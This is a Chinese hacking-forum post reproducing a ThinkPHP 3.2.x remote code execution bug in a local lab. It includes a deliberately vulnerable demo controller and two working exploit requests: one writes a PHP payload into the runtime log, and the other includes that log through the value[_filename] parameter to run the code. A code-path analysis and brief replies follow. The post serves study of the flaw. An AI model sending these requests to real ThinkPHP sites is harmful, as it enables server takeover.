跳转到帖子

游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

TheHackerWorld官方

ThinkPHP3.2.x RCE漏洞复现

精选回复

发布于

简介

ThinkPHP3.2的远程代码执行漏洞。该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。

环境

windows 10
phpstudy 5.6
Thinkphp 3.2.3完整版

复现过程

demo:

demo代码说明:如果需要测试请把demo代码放入对应位置,代码位置:\Application\Home\Controller\IndexController.class.php,因为程序要进入模板渲染方法方法中,所以需要创建对应的模板文件,内容随意,模板文件位置:Application\Home\View\Index (View没有Index文件夹需要自己创建)

<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
    public function index($value=''){
        $this->assign($value);
        $this->display();
    }
}

 

利用步骤:

1. 创建log
2. 包含log

创建log发送请求 注意,m=后面的code不要url编码,否则包含的时候会失败)
http://127.0.0.1/index.php?m=--><?=phpinfo();?>

 

WiTLxP.png

包含log

http://127.0.0.1/index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_07_12.log

 

Wi7eZF.png

Debug开启和关闭的路径不同:

开启: Application\Runtime\Logs\Common\<log>
关闭: Application\Runtime\Logs\Home\<log>

漏洞点分析

1.assign函数返回模板变量

Wi7GqO.png

2.到display函数开始解析

Wi7NIH.png

3.到达View.Class.php发现把payload传入到Hook::Listen函数

Wi7wRI.png

4.进入循环在将payload传入self::exec函数

Wi7rsf.png

5.调用Behavior\ParseTemplateBehavior类 (将log文件写入缓存php)

Wi7fWn.png

6.调用fetch函数

Wi7IyV.png

最后load函数加载

Wi77eU.png

(不会描述,原文章描述的很好)

参考链接

https://mp.weixin.qq.com/s/_4IZe-aZ_3O2PmdQrVbpdQ
https://blog.csdn.net/cvper/article/details/66713909

厉害!!

能写这么详细 辛苦了。。

创建帐户或登录后发表意见

最近浏览 0

  • 没有会员查看此页面。